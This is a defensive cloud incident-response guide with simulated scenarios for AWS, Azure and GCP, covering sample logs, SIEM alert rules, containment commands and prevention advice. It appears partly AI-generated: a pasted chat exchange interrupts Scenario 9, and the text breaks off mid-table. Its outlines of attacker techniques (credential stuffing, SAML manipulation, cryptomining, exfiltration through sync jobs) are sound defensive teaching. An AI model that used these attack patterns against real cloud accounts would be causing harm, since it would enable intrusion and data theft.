

CLOUD SECURITY INCIDENT HANDLING GUIDE WITH SCENARIO SIMULATIONS

BY IZZMIER IZZUDDIN

SCENARIO 1 – AWS IAM ACCESS KEY LEAK

An AWS IAM access key belonging to a developer account has been leaked on a public GitHub repository. Malicious actors have already used the key to perform reconnaissance and attempt unauthorised actions.

1. How This Incident Typically Happens

- Developer commits AWS credentials into a public GitHub repository.
- Attacker discovers the key via automated GitHub scanning tools.
- Attacker uses the AWS CLI with the compromised key to:
 - Enumerate S3 buckets.
 - List IAM users and policies.
 - Attempt privilege escalation.

2. Detection Sources & Log Locations

AWS Service	Log Source	Relevant Fields	Purpose
AWS CloudTrail	Management events	eventName, sourceIPAddress, userAgent	Track all API calls using the leaked key
AWS CloudTrail	Data events (S3, Lambda)	bucketName, objectKey	Detect data access activity
Amazon GuardDuty	Findings	findingType, service.additionalInfo	Detect suspicious behaviour like anomalous API calls
AWS Config	Configuration snapshots	Resource changes	Verify if infrastructure was altered
VPC Flow Logs	Network traffic patterns	srcAddr, dstAddr, action	Detect unusual outbound connections

3. Detection Example – SIEM/Alert

Alert Name: AWS – Suspicious API Calls from New Geo Using IAM Key

Trigger Condition: API calls from an unfamiliar country within 10 minutes of key exposure.

GuardDuty Finding JSON:

```
{
  "schemaVersion": "2.0",
  "accountId": "123456789012",
  "region": "ap-southeast-1",
  "type": "UnauthorizedAccess:IAMUser/AnomalousBehavior",
  "service": {
```

```

"eventFirstSeen": "2025-08-08T02:15:00Z",
"eventLastSeen": "2025-08-08T02:17:00Z",
"count": 12,
"action": {
  "actionType": "AWS_API_CALL",
  "apiCallDetails": {
    "eventName": "ListBuckets",
    "awsRegion": "us-east-1",
    "sourceIPAddress": "45.83.12.201"
  }
},
"severity": 8.0,
"resource": {
  "resourceType": "AwsIamUser",
  "instanceDetails": {
    "username": "devops-temp"
  }
}
}

```

CloudTrail Log Snippet:

```

{
  "eventTime": "2025-08-08T02:15:45Z",
  "eventName": "ListBuckets",
  "awsRegion": "us-east-1",
  "sourceIPAddress": "45.83.12.201",
  "userAgent": "aws-cli/2.4.12 Python/3.8.8 Linux/5.4.0",
  "userIdentity": {
    "type": "IAMUser",
    "userName": "devops-temp",
    "accessKeyId": "AKIAIOSFODNN7EXAMPLE"
  }
}

```

4. Immediate Containment Steps

Time-critical actions – must be done within minutes of confirmation:

1. Revoke the compromised key:

```

aws iam update-access-key --access-key-id AKIAIOSFODNN7EXAMPLE --status
Inactive --user-name devops-temp

```

```
aws iam delete-access-key --access-key-id AKIAIOSFODNN7EXAMPLE --user-name devops-temp
```

2. Review CloudTrail for all actions performed using the key.
3. Rotate any other keys belonging to the same IAM user.
4. If EC2 instances or Lambda functions were launched using the key, stop and inspect them.
5. Block suspicious IPs at AWS WAF / Security Group / NACL level.
6. Enable GuardDuty if not already enabled.

5. Investigation Workflow

- Step 1: Identify exposure source.
 - Search GitHub and internal repositories for the key.
 - Confirm if the leak was from code commit, Slack or CI/CD logs.
- Step 2: Build activity timeline from CloudTrail logs.
 - First use of key → geo-location change → suspicious API calls.
- Step 3: Check for any successful privilege escalation.
 - Look for AttachUserPolicy, CreateAccessKey, UpdateAssumeRolePolicy.
- Step 4: Check data exfiltration possibilities.
 - Review S3 GetObject and ListObjects events.
- Step 5: Contain and eradicate.
 - Delete key, remove unused IAM accounts, enforce MFA.
- Step 6: Recovery.
 - Restore resources if tampered.
 - Validate no backdoor IAM users/roles exist.

6. Prevention Recommendations

- Enable AWS IAM Access Analyzer to detect public resource policies.
- Use AWS Secrets Manager or SSM Parameter Store for credentials instead of hardcoding.
- Enforce MFA on all IAM users.
- Configure CloudTrail with S3 + CloudWatch Logs for continuous monitoring.
- Implement GuardDuty, AWS Config and Security Hub for real-time detection.
- Set GitHub Secret Scanning Alerts for AWS keys.

Scenario 2 – AWS S3 Bucket Public Exposure

A sensitive AWS S3 bucket containing customer personal data was inadvertently configured to allow public read access. An external security researcher discovered it and reported it via the organisation's responsible disclosure program. Initial analysis shows that the bucket had been publicly accessible for at least 3 days.

1. How This Incident Typically Happens

- Developer or data engineer changes S3 bucket ACL or bucket policy to public-read during testing.
- Misconfigured Infrastructure-as-Code (IaC) template (e.g., Terraform, CloudFormation) applies insecure permissions to S3.
- An AWS CLI command with `--acl public-read` is mistakenly executed.
- Public access block settings in AWS S3 are disabled.

2. Detection Sources & Log Locations

AWS Service	Log Source	Relevant Fields	Purpose
AWS Config	Configuration history	configurationItemDiff, resourceName	Detect public bucket policy changes
AWS CloudTrail	Management events	PutBucketAcl, PutBucketPolicy, DeleteBucketPolicy	Track bucket policy changes
Amazon Macie	Findings	findingType, sensitiveData	Identify sensitive data exposed in S3
Amazon GuardDuty	Findings	Policy:S3/BucketPublicAccessGranted	Detect buckets exposed to public
S3 Access Logs	Object-level access	requester, operation, key	See who accessed the exposed objects

3. Detection Example – SIEM/Alert

Alert Name: AWS – Public S3 Bucket with Sensitive Data

Trigger Condition: AWS Config detects public read access AND Macie classifies sensitive objects in the bucket.

AWS Config Change Notification:

```
{
  "configurationItemDiff": {
    "changedProperties": {
      "Configuration.Permissions.BlockPublicAcls": {
        "previousValue": "true",
        "updatedValue": "false"
      }
    }
  },
  "resourceType": "AWS::S3::Bucket",
  "resourceName": "customer-pii-bucket"
}
```

Macie Finding:

```
{
  "findingType": "SensitiveData:S3/Object",
  "description": "Detected 1,232 objects containing personal identifiable information.",
  "resourcesAffected": {
    "s3Bucket": {
      "name": "customer-pii-bucket",
      "publicAccess": "READ"
    }
  },
  "severity": "HIGH",
  "time": "2025-08-08T04:12:00Z"
}
```

4. Immediate Containment Steps

Actions to take as soon as exposure is confirmed:

1. Restrict public access immediately:

```
aws s3api put-public-access-block --bucket customer-pii-bucket \
  --public-access-block-configuration BlockPublicAcls=true IgnorePublicAcls=true
BlockPublicPolicy=true RestrictPublicBuckets=true
```

2. Revert bucket ACL to private:

```
aws s3api put-bucket-acl --bucket customer-pii-bucket --acl private
```

3. Review access logs to see if objects were accessed by unauthorised parties.
4. Notify the Data Privacy Officer (may trigger compliance requirements under PDPA/GDPR).
5. If confirmed data access occurred, prepare for breach notification procedures.

5. Investigation Workflow

- Step 1: Identify the exact misconfiguration.
 - Review AWS Config change history to find when bucket ACL was modified.
 - Check CloudTrail for PutBucketAcl or PutBucketPolicy API calls.
- Step 2: Determine the exposure duration.
 - AWS Config timelines show start time; check if bucket was public before logs started.
- Step 3: Check for actual data exfiltration.
 - Review S3 Access Logs for GET requests from external IPs.
- Step 4: Identify the responsible IAM principal.
 - CloudTrail userIdentity will show who made the change (user, role, CI/CD pipeline).
- Step 5: Assess data sensitivity.
 - Use Macie classification results to determine types of exposed data.
- Step 6: Document findings and proceed with notification obligations.

6. Prevention Recommendations

- Enable S3 Block Public Access at account level to prevent any bucket from being public.
- Use AWS Config rules (s3-bucket-public-read-prohibited) for continuous compliance monitoring.
- Enable Macie for automatic classification of sensitive data.
- Enforce least privilege IAM policies — no developers should have s3:PutBucketAcl unless strictly necessary.
- Integrate IaC security scanning (e.g., Checkov, Terraform Sentinel) before applying changes.

Scenario 3 – Azure Brute-Force Login Attempt

Multiple failed login attempts were detected on an Azure Active Directory (Azure AD) account from various countries within a short time frame, followed by a successful login from a suspicious IP address in a region where the user has never logged in before. The compromised account had access to several corporate resources, including SharePoint and Azure VMs.

1. How This Incident Typically Happens

- Attackers use credential stuffing tools with leaked email/password combinations.
- Phishing emails capture user credentials, which are later tested in bulk.
- Bots rotate IPs to bypass simple lockout policies.
- Once logged in, attackers attempt lateral movement via:
 - Accessing OneDrive or SharePoint files.
 - Connecting to Azure VMs via RDP or SSH if credentials allow.

2. Detection Sources & Log Locations

Azure Service	Log Source	Relevant Fields	Purpose
Azure AD	Sign-in Logs	userPrincipalName, IPAddress, Status, Location, ClientAppUsed	Track login attempts and anomalies
Azure AD	Audit Logs	ActivityDisplayName, InitiatedBy	Detect account changes or MFA resets
Microsoft Defender for Cloud Apps (MCAS)	Activity Logs	ActivityType, SourceIP, Country	Identify unusual app access
Microsoft Defender for Identity	Security Alerts	AlertName, CompromisedAccount	Detect suspicious authentication patterns
Azure Sentinel (SIEM)	Correlated Alerts	Multiple sources combined	Triage and escalation

3. Detection Example – SIEM/Alert

Alert Name: Azure – Multiple Failed Logins Followed by Successful Login from New Country

Trigger Condition: More than 10 failed login attempts from different geos within 15 minutes, followed by a successful login from an unfamiliar IP.

Azure AD Sign-in Log Extract:


```
[
  {
    "timestamp": "2025-08-08T00:02:13Z",
    "userPrincipalName": "finance.manager@company.com",
    "IPAddress": "185.220.101.45",
    "Status": "Failed",
    "Location": "Germany",
    "ClientAppUsed": "Browser"
  },
  {
    "timestamp": "2025-08-08T00:04:27Z",
    "userPrincipalName": "finance.manager@company.com",
    "IPAddress": "196.52.43.90",
    "Status": "Failed",
    "Location": "South Africa",
    "ClientAppUsed": "Browser"
  },
  {
    "timestamp": "2025-08-08T00:09:54Z",
    "userPrincipalName": "finance.manager@company.com",
    "IPAddress": "103.77.33.21",
    "Status": "Success",
    "Location": "Indonesia",
    "ClientAppUsed": "Browser"
  }
]
```

Microsoft Defender for Cloud Apps Alert:

```
{
  "alertName": "Impossible travel activity detected",
  "severity": "High",
  "user": "finance.manager@company.com",
  "previousLocation": "Malaysia",
  "newLocation": "Indonesia",
  "timeIntervalMinutes": 8
}
```

4. Immediate Containment Steps

Critical actions – to be executed as soon as suspicious login is confirmed:

1. Block the compromised user account immediately:

Set-AzureADUser -ObjectId "finance.manager@company.com" -AccountEnabled \$false

2. Revoke all active refresh tokens to terminate sessions:

Revoke-AzureADUserAllRefreshToken -ObjectId "finance.manager@company.com"

3. Reset the user's password and enforce MFA setup.
4. Review Sign-in Logs for any lateral movement attempts.
5. Check if sensitive data was accessed in SharePoint/OneDrive.
6. If privileged account is compromised, rotate Azure admin credentials and review role assignments.

5. Investigation Workflow

- Step 1: Confirm if attack was brute-force or credential stuffing.
 - Analyse failed login IP patterns in Azure AD Sign-in Logs.
 - Check if credentials appear in known breach datasets.
- Step 2: Identify attacker's entry point.
 - Look for phishing campaigns in Defender for Office 365 logs.
- Step 3: Track attacker activity post-compromise.
 - Review Microsoft 365 Audit Logs and MCAS for file access and downloads.
- Step 4: Determine risk to connected services.
 - Check Azure VM RDP/SSH sign-ins (Azure Activity Logs).
- Step 5: Hunt for persistence.
 - Look for MFA reset requests or suspicious app registrations.

6. Prevention Recommendations

- Enable Conditional Access Policies to block risky sign-ins (e.g., unfamiliar locations).
- Require MFA for all accounts, especially admins.
- Enable Azure Identity Protection for automated risky sign-in detection.
- Integrate Azure AD logs with Azure Sentinel for correlation and alerting.
- Use Microsoft Defender for Cloud Apps to detect impossible travel and unusual data downloads.
- Apply Just-In-Time (JIT) access for administrative roles.

Scenario 4 – GCP IAM Role Misuse

A GCP IAM service account assigned to a developer project was granted excessive privileges (roles/owner). The service account key was stored in a shared internal wiki without access control. An attacker who had compromised a workstation within the organisation's network obtained the key and used it to create new service accounts and grant themselves persistent access.

1. How This Incident Typically Happens

- Over-privileged IAM service accounts used for automation.
- Service account key files stored insecurely (shared drives, wikis, code repos).
- Lack of monitoring for IAM role assignments.
- Compromise of an internal endpoint gives attacker local file system access to the key.
- Attacker uses stolen key via gcloud CLI to:
 - Create new service accounts.
 - Assign roles to gain persistence.
 - Access sensitive GCP resources (GCS buckets, BigQuery datasets, Compute Engine).

2. Detection Sources & Log Locations

GCP Service	Log Source	Relevant Fields	Purpose
Cloud Audit Logs	Admin Activity logs	protoPayload.methodName, serviceName, authenticationInfo	Detect IAM changes
Cloud Audit Logs	Data Access logs	resourceName, methodName	Detect resource access
VPC Flow Logs	Network logs	src_ip, dst_ip, connection	Detect unusual traffic from attacker IP
Security Command Center (SCC)	Findings	category, assetName	Identify misconfigurations and threats
Cloud Logging (formerly Stackdriver)	Log queries	Cross-service event correlation	

3. Detection Example – SIEM/Alert

Alert Name: GCP – Privilege Escalation via Service Account

Trigger Condition: Service account with high privileges creates or modifies IAM roles unexpectedly.

Cloud Audit Log – Service Account Key Use:

```
{
  "insertId": "1abcxyz",
  "protoPayload": {
    "methodName": "google.iam.admin.v1.CreateServiceAccount",
    "serviceName": "iam.googleapis.com",
    "authenticationInfo": {
      "principalEmail": "automation-sa@project-id.iam.gserviceaccount.com"
    },
    "requestMetadata": {
      "callerIp": "203.0.113.44",
      "callerSuppliedUserAgent": "gcloud/430.0.0"
    }
  },
  "resource": {
    "type": "service_account",
    "labels": {
      "project_id": "project-id"
    }
  },
  "timestamp": "2025-08-08T05:21:45Z"
}
```

Security Command Center Finding:

```
{
  "finding": {
    "category": "IAM_ROLE_MISCONFIGURATION",
    "assetName": "///cloudresourcemanager.googleapis.com/projects/123456789",
    "state": "ACTIVE",
    "severity": "HIGH",
    "description": "Service account automation-sa@project-id.iam.gserviceaccount.com granted Owner role."
  }
}
```

4. Immediate Containment Steps

Critical actions – must be executed quickly to prevent persistent compromise:

1. Disable the compromised service account:

```
gcloud iam service-accounts disable automation-sa@project-id.iam.gserviceaccount.com
```

2. Revoke and delete all service account keys:

```
gcloud iam service-accounts keys delete <KEY_ID> --iam-account=automation-sa@project-id.iam.gserviceaccount.com
```

3. Remove over-privileged roles:

```
gcloud projects remove-iam-policy-binding project-id \
  --member="serviceAccount:automation-sa@project-id.iam.gserviceaccount.com" \
  --role="roles/owner"
```

4. Audit all recently created service accounts and revoke suspicious ones.
5. Block attacker IP in firewall rules / VPC Service Controls.

5. Investigation Workflow

- Step 1: Review IAM role change history in Cloud Audit Logs.
 - Identify when the Owner role was granted.
- Step 2: Identify all resources accessed by the compromised account.
 - Search Data Access logs for GCS, BigQuery, Compute Engine API calls.
- Step 3: Determine source of key compromise.
 - Check internal endpoints for signs of malware or credential theft.
- Step 4: Look for persistence mechanisms.
 - Search for newly created service accounts or custom roles.
- Step 5: Validate that no firewall rules, VPC peering or external connections were created by attacker.

6. Prevention Recommendations

- Enforce least privilege IAM principles — no service account should have roles/owner.
- Rotate service account keys regularly and store them in Secret Manager.
- Enable VPC Service Controls to limit external API access.
- Enable Security Command Center Premium for IAM misconfiguration detection.
- Set up Cloud Logging alerts for sensitive IAM operations like SetIamPolicy and CreateServiceAccountKey.
- Disable service account key creation unless explicitly required.

Scenario 5 – Multi-Cloud Compromise via Compromised OAuth App

A malicious actor compromises a legitimate SaaS/OAuth application connected to all three major cloud providers (AWS, Azure, GCP) for CI/CD and automation purposes. Once the app's OAuth token is stolen, the attacker:

- Gains delegated API access without needing passwords or MFA.
- Enumerates resources in each cloud provider.
- Attempts privilege escalation via automation scripts.
- Deploys persistence mechanisms in multiple clouds simultaneously.

1. How This Incident Typically Happens

- Developer authorises a third-party SaaS (e.g., GitHub Actions, Jenkins, Terraform Cloud) to manage cloud resources.
- The OAuth access token or refresh token is stored in a compromised environment (e.g., infected developer laptop or public CI log).
- Attacker steals the token and uses legitimate API endpoints to perform actions without raising traditional login alerts.
- Because OAuth flows bypass password prompts, SOC teams often detect this late — after cross-cloud changes occur.

2. Detection Sources & Log Locations

Cloud	Log Source	Relevant Fields	Purpose
AWS	CloudTrail	userIdentity.type = AssumedRole / federated	Detect API calls from OAuth-linked role
AWS	GuardDuty	AWS_API_CALL anomalies	Alert on unusual regions/IPs
Azure	Azure AD Audit Logs	AppId, ConsentGranted	Detect suspicious app consent
Azure	Sign-in Logs	ClientAppUsed = "Other clients"	Track non-interactive logins
GCP	Cloud Audit Logs	authenticationInfo.principalEmail = service account from OAuth app	Trace delegated actions
All	SIEM/SOAR	Cross-cloud correlation	Tie activity to same attacker IP or OAuth app ID

3. Detection Example – SIEM/Alert

Alert Name: Multi-Cloud – Suspicious OAuth App Activity Across AWS, Azure, GCP
Trigger Condition: OAuth-linked app performs resource modifications in multiple cloud providers within a 30-minute window from the same IP range.

AWS CloudTrail Log:

```
{
  "eventTime": "2025-08-08T03:45:00Z",
  "eventName": "CreateUser",
  "awsRegion": "us-east-1",
  "sourceIPAddress": "198.51.100.77",
  "userIdentity": {
    "type": "AssumedRole",
    "principalId": "oauth-app-role"
  }
}
```

Azure AD Audit Log:

```
{
  "activityDisplayName": "Consent to application",
  "appId": "3c1a2b6e-xxxx-xxxx-xxxx-9f3f5e0c8aa3",
  "userPrincipalName": "devops-admin@company.com",
  "timestamp": "2025-08-08T03:46:15Z"
}
```

GCP Cloud Audit Log:

```
{
  "protoPayload": {
    "methodName": "google.iam.admin.v1.SetIamPolicy",
    "authenticationInfo": {
      "principalEmail": "oauth-app-sa@project-id.iam.gserviceaccount.com"
    },
    "requestMetadata": {
      "callerIp": "198.51.100.77"
    }
  },
  "timestamp": "2025-08-08T03:47:30Z"
}
```

4. Immediate Containment Steps

Actions must be coordinated across all clouds:

1. Identify and revoke OAuth app tokens in all cloud providers:
 - AWS: `aws iam delete-open-id-connect-provider`
 - Azure: Remove-AzureADServicePrincipal for the app.
 - GCP: Remove service account keys linked to app.
2. Block the attacker IP range at each provider's network layer (AWS NACL, Azure NSG, GCP Firewall).
3. Disable or quarantine impacted service accounts and roles.
4. Review all recent resource changes and roll back malicious ones.
5. Scan CI/CD pipelines and repositories for leaked tokens or secrets.

5. Investigation Workflow

- Step 1: Identify OAuth application details.
 - Gather AppID, client name and consent time from each cloud's audit logs.
- Step 2: Correlate attacker IPs across providers.
 - Use SIEM to match IP 198.51.100.77 activity in AWS, Azure and GCP.
- Step 3: Identify persistence actions.
 - Look for new IAM users, service accounts, API keys or role grants.
- Step 4: Review CI/CD and automation scripts.
 - Determine if OAuth scope allowed write access to resources.
- Step 5: Validate that no attacker-controlled infrastructure remains.
 - Remove any created VMs, buckets, storage blobs or firewall rules.

6. Prevention Recommendations

- Limit OAuth app scopes to least privilege — never grant full admin to automation tools unless required.
- Regularly review app consents in AWS IAM Identity Center, Azure Enterprise Applications and GCP IAM.
- Rotate OAuth tokens and avoid storing them in plaintext logs.
- Integrate OAuth activity monitoring with SIEM for cross-cloud detection rules.
- Implement Conditional Access in Azure and VPC Service Controls in GCP to restrict risky app access.

Scenario 6 – Cloud Storage Ransomware Attack

A compromised set of cloud credentials is used to access AWS S3, Azure Blob Storage and GCP Cloud Storage.

The attacker:

- Enumerates storage buckets/containers.
- Uploads encrypted versions of files with the same names (overwriting originals).
- Deletes original unencrypted files or changes object versions.
- Leaves ransom notes in each bucket.

1. How This Incident Typically Happens

- Stolen credentials from phishing, keylogging malware or GitHub leak.
- Privileged accounts have storage write/delete rights across multiple clouds.
- Lack of object versioning or retention policies means overwritten files cannot be recovered easily.
- The attacker automates encryption via scripts using cloud SDKs (boto3, azure-storage-blob, google-cloud-storage).

2. Detection Sources & Log Locations

Cloud	Log Source	Relevant Fields	Purpose
AWS	CloudTrail Data Events	eventName, bucketName, objectKey	Track S3 file modifications
AWS	S3 Access Logs	operation, requester	Detect mass PUT/DELETE
Azure	Storage Analytics Logs	operationType, requesterIpAddress	Track uploads & deletes
Azure	Defender for Cloud Alerts	AlertDisplayName, Severity	Flag unusual bulk storage operations
GCP	Cloud Audit Logs	methodName, resourceName	Detect object overwrites
All	SIEM	Cross-cloud correlation	Spot same actor pattern in multiple providers

3. Detection Example – SIEM/Alert

Alert Name: Multi-Cloud – Mass Object Overwrite & Delete

Trigger Condition: More than 500 object PUT/DELETE operations in under 10 minutes from same IP across multiple cloud storages.

AWS S3 Data Event:

{

```
"eventTime": "2025-08-08T06:15:32Z",
"eventName": "PutObject",
"bucketName": "finance-records",
"objectKey": "Q1-report.xlsx",
"userIdentity": {
  "type": "IAMUser",
  "userName": "cloud-admin"
},
"sourceIpAddress": "203.0.113.88"
}
```

Azure Blob Storage Log:

```
{
  "requestTime": "2025-08-08T06:16:11Z",
  "operationType": "PutBlob",
  "requesterIpAddress": "203.0.113.88",
  "containerName": "customer-data",
  "statusCode": 201
}
```

GCP Cloud Audit Log:

```
{
  "protoPayload": {
    "methodName": "storage.objects.update",
    "authenticationInfo": {
      "principalEmail": "admin@project-id.iam.gserviceaccount.com"
    },
    "requestMetadata": {
      "callerIp": "203.0.113.88"
    }
  },
  "resourceName": "projects/_/buckets/hr-data/objects/employee-records.csv",
  "timestamp": "2025-08-08T06:17:02Z"
}
```

4. Immediate Containment Steps

Must act quickly to prevent total data loss:

1. Revoke compromised credentials in all clouds immediately.
 - AWS: `aws iam update-access-key --status Inactive`
 - Azure: `Set-AzureADUser -AccountEnabled $false`

- GCP: gcloud auth revoke
- 2. Block attacker IP (203.0.113.88) at all cloud firewalls / network layers.
- 3. Suspend affected storage services if possible to prevent further writes.
- 4. Enable object versioning (if not already) to recover overwritten files.
- 5. Restore from backup snapshots if versioning unavailable.
- 6. Preserve affected storage logs for forensic analysis.

5. Investigation Workflow

- Step 1: Identify first malicious object overwrite.
 - Use storage logs to find earliest event by attacker IP.
- Step 2: Map all affected buckets/containers/projects.
 - Correlate across AWS S3, Azure Blob, GCP Cloud Storage.
- Step 3: Determine how credentials were stolen.
 - Review login patterns, check for phishing emails or endpoint malware.
- Step 4: Assess scope of impact.
 - Count total files overwritten/deleted.
- Step 5: Search for ransom note files (usually .txt or .html).
 - Example: READ_ME_TO_DECRYPT.txt.

6. Prevention Recommendations

- Enforce MFA for all cloud accounts.
- Rotate keys frequently; disable long-lived access keys.
- Enable object versioning & retention policies to prevent irreversible overwrites.
- Implement Data Loss Prevention (DLP) to detect unusual mass uploads.
- Configure SIEM mass deletion/overwrite alerts.
- Use service accounts with minimal permissions for storage operations.

Scenario 7 – Cloud Identity Provider (IdP) Compromise

The organisation uses a central Identity Provider (IdP) — such as Okta or Azure AD — for Single Sign-On (SSO) across multiple cloud environments.

An attacker gains access to the IdP's admin account via phishing and uses it to:

- Modify SSO application assignments.
- Create new IdP users and assign them high-privilege roles in AWS, Azure and GCP.
- Inject malicious SAML tokens to bypass MFA.
- Access all three clouds without directly compromising separate cloud credentials.

1. How This Incident Typically Happens

- Phishing or MFA fatigue attack against IdP admin.
- Stolen session cookie or refresh token used to authenticate without MFA.
- IdP configuration changed to add attacker-controlled SSO apps.
- SAML assertion manipulation grants high privileges in downstream cloud accounts.
- Cross-cloud lateral movement occurs rapidly before detection.

2. Detection Sources & Log Locations

Platform	Log Source	Relevant Fields	Purpose
Okta / Azure AD	IdP Admin Activity Logs	actor, target, eventType	Track SSO config changes
Okta / Azure AD	Sign-in Logs	IPAddress, device, geoLocation	Detect suspicious admin logins
AWS	CloudTrail	userIdentity.type = AssumedRoleWithSAML	Detect SAML logins
Azure	Azure AD Sign-in Logs	ClientAppUsed = "Browser + SAML"	Identify federated sign-ins
GCP	Cloud Audit Logs	authenticationInfo.principalEmail = IdP SAML account	Trace federated activity
All	SIEM	Cross-cloud correlation	Link activity to same IdP session

3. Detection Example – SIEM/Alert

Alert Name: Multi-Cloud – Federated Identity Admin Compromise

Trigger Condition: New federated SSO assignments to multiple clouds within 30 minutes, followed by privileged actions in each.

Okta System Log:

```
{
  "eventTime": "2025-08-08T08:12:45Z",
  "eventType": "application.assignment.add",
  "actor": {
    "displayName": "admin@company.com",
    "ipAddress": "203.0.113.99"
  },
  "target": [
    {"displayName": "AWS Management Console"},
    {"displayName": "Azure Portal"},
    {"displayName": "GCP Console"}
  ]
}
```

AWS CloudTrail Event:

```
{
  "eventTime": "2025-08-08T08:14:02Z",
  "eventName": "CreateUser",
  "userIdentity": {
    "type": "AssumedRoleWithSAML",
    "principalId": "Okta:admin@company.com"
  },
  "sourceIPAddress": "203.0.113.99"
}
```

Azure AD Sign-in Log:

```
{
  "userPrincipalName": "admin@company.com",
  "clientAppUsed": "Browser",
  "authenticationRequirement": "singleFactorAuthentication",
  "IPAddress": "203.0.113.99",
  "status": "Success"
}
```

4. Immediate Containment Steps

Critical cross-cloud actions:

1. Revoke all active IdP admin sessions immediately.
 - Okta: `okta sessions clear --user admin@company.com`

- Azure AD: Revoke-AzureADUserAllRefreshToken
- 2. Force password reset and re-enrol MFA for IdP admins.
- 3. Disable any newly added SSO application assignments.
- 4. Audit and remove attacker-created cloud accounts in AWS, Azure and GCP.
- 5. Block attacker IP 203.0.113.99 at IdP and cloud firewalls.
- 6. Enable IdP crisis mode if supported (restrict logins to known IPs).

5. Investigation Workflow

- Step 1: Review IdP activity logs.
 - Identify when admin login occurred and if MFA was bypassed.
- Step 2: Extract list of SSO app assignments changed during compromise.
- Step 3: Trace SAML logins in each cloud environment.
 - AWS CloudTrail → AssumedRoleWithSAML
 - Azure AD Sign-in Logs → federated logins
 - GCP Audit Logs → SAML principal activity
- Step 4: Identify persistence mechanisms.
 - Attacker may have created separate native cloud accounts with high privileges.
- Step 5: Verify no changes to IdP MFA/conditional access settings.

6. Prevention Recommendations

- Require MFA for IdP admin accounts with phishing-resistant methods (FIDO2 keys).
- Enable sign-in risk detection and block risky IPs automatically.
- Implement just-in-time SSO provisioning with minimal privilege.
- Integrate IdP logs with SIEM for federated identity anomaly detection.
- Restrict IdP admin access to secure networks or VPN only.

Scenario 8 – Cloud API Abuse via Compromised Automation Token

An attacker steals a long-lived automation API token used in a CI/CD pipeline that has write access to AWS, Azure and GCP resources.

The token is embedded in a pipeline job file stored in a public GitHub repository.

Within minutes of discovery, the attacker:

- Deploys cryptocurrency mining instances in all three cloud environments.
- Modifies security groups/firewall rules to allow external access.
- Creates new API tokens for persistence.
- Begins mass data exfiltration from cloud storage services.

1. How This Incident Typically Happens

- Developer hardcodes cloud API tokens in automation scripts or YAML config files.
- Public code repository accidentally contains these secrets.
- Attackers run automated GitHub scans (e.g., truffleHog, Gitleaks) to find tokens.
- Tokens bypass MFA and can call APIs directly, granting full access.
- Because actions are API-based, no interactive logins occur, delaying detection.

2. Detection Sources & Log Locations

Cloud	Log Source	Relevant Fields	Purpose
AWS	CloudTrail	accessKeyId, eventName, sourceIPAddress	Track API token activity
AWS	VPC Flow Logs	Outbound traffic	Detect crypto mining traffic
Azure	Azure Activity Logs	caller, operationName	Monitor resource creation
Azure	NSG Flow Logs	Unusual outbound	Detect mining pool connections
GCP	Cloud Audit Logs	authenticationInfo.principalEmail, methodName	Identify actions from stolen token
GCP	VPC Flow Logs	Unusual external traffic	Spot mining/exfil endpoints

3. Detection Example – SIEM/Alert

Alert Name: Multi-Cloud – API Token Abuse Detected

Trigger Condition: API calls from a known mining pool IP, with resource creation in multiple clouds in <15 mins.

AWS CloudTrail Log:

```
{
  "eventTime": "2025-08-08T09:45:20Z",
  "eventName": "RunInstances",
  "sourceIpAddress": "45.32.189.200",
  "userIdentity": {
    "type": "IAMUser",
    "accessKeyId": "AKIAIOSFODNN7EXAMPLE"
  },
  "requestParameters": {
    "imageId": "ami-0abcdef1234567890",
    "instanceType": "c5.18xlarge"
  }
}
```

Azure Activity Log:

```
{
  "caller": "automation-pipeline",
  "operationName": "Microsoft.Compute/virtualMachines/write",
  "properties": {
    "vmSize": "Standard_NC24"
  },
  "callerIpAddress": "45.32.189.200",
  "status": "Succeeded"
}
```

GCP Audit Log:

```
{
  "protoPayload": {
    "methodName": "compute.instances.insert",
    "authenticationInfo": {
      "principalEmail": "ci-cd-service@project-id.iam.gserviceaccount.com"
    },
    "requestMetadata": {
      "callerIp": "45.32.189.200"
    }
  },
  "resourceName": "projects/mining-project/zones/us-central1-a/instances/vm-miner-01"
}
```

4. Immediate Containment Steps

These must be coordinated across clouds without delay:

1. Revoke the compromised API token in all affected platforms.
 - AWS: aws iam delete-access-key
 - Azure: az ad app credential delete
 - GCP: gcloud iam service-accounts keys delete
2. Shut down any malicious compute instances immediately.
3. Block attacker IP (45.32.189.200) at all cloud firewalls.
4. Revert firewall/security group changes to default policies.
5. Delete any new API tokens created during the attack.
6. Preserve all logs for forensic investigation.

5. Investigation Workflow

- Step 1: Identify token leak origin.
 - Scan public repos and internal CI/CD config for token exposure.
- Step 2: Map attacker activity.
 - Correlate API calls across AWS, Azure and GCP.
- Step 3: Analyse network traffic.
 - VPC Flow Logs to identify mining pool or exfil endpoints.
- Step 4: Search for persistence mechanisms.
 - Look for hidden IAM roles, service accounts or scheduled tasks.
- Step 5: Evaluate data exfiltration.
 - Review cloud storage logs for large downloads.

6. Prevention Recommendations

- Store tokens in secure secret managers (AWS Secrets Manager, Azure Key Vault, GCP Secret Manager).
- Rotate all tokens regularly, limit their scopes and enable short-lived credentials.
- Use CI/CD security scanning (GitHub Secret Scanning, Gitleaks) to detect leaks early.
- Configure SIEM to detect mass resource creation + unusual IPs.
- Enforce conditional access and IP allowlists for automation tokens.

Scenario 9 – Cross-Cloud Data Exfiltration via Compromised Storage Sync Tool

The organisation uses a storage sync service (e.g., Rclone, Resilio, custom scripts or cloud-native transfer jobs) to replicate data between AWS S3, Azure Blob Storage and GCP Cloud Storage.

An attacker gains access to the sync tool’s configuration, which contains embedded credentials for all three cloud platforms.

They reconfigure the sync job to:

- Copy sensitive data to an attacker-controlled cloud bucket.
- Delete local/cloud logs to hide activity.
- Maintain the sync schedule to keep receiving new files.

1. How This Incident Typically Happens

- Configuration file for sync tool stored without encryption (e.g., rclone.conf with plaintext keys).
- Misconfigured permissions allow unauthor

You said:

resume

ChatGPT said:

Continuing from Scenario 9 – Cross-Cloud Data Exfiltration via Compromised Storage Sync Tool:

1. How This Incident Typically Happens (continued)

- Misconfigured permissions allow unauthorised access to the sync server (e.g., via exposed port or RDP).
- Attacker exfiltrates sync config containing credentials for AWS, Azure and GCP.
- Sync destination is changed to an attacker-controlled cloud storage bucket.
- Sync jobs run silently, transferring gigabytes or terabytes of sensitive data out of the environment.
- Because the tool uses API-based access, no interactive logins or MFA prompts are triggered.

2. Detection Sources & Log Locations

Cloud	Log Source	Relevant Fields	Purpose
AWS	CloudTrail Data Events	GetObject, ListObjects, CopyObject	Detect abnormal reads

Azure	Storage Diagnostic Logs	operationName, authenticationType	Identify sync tool access
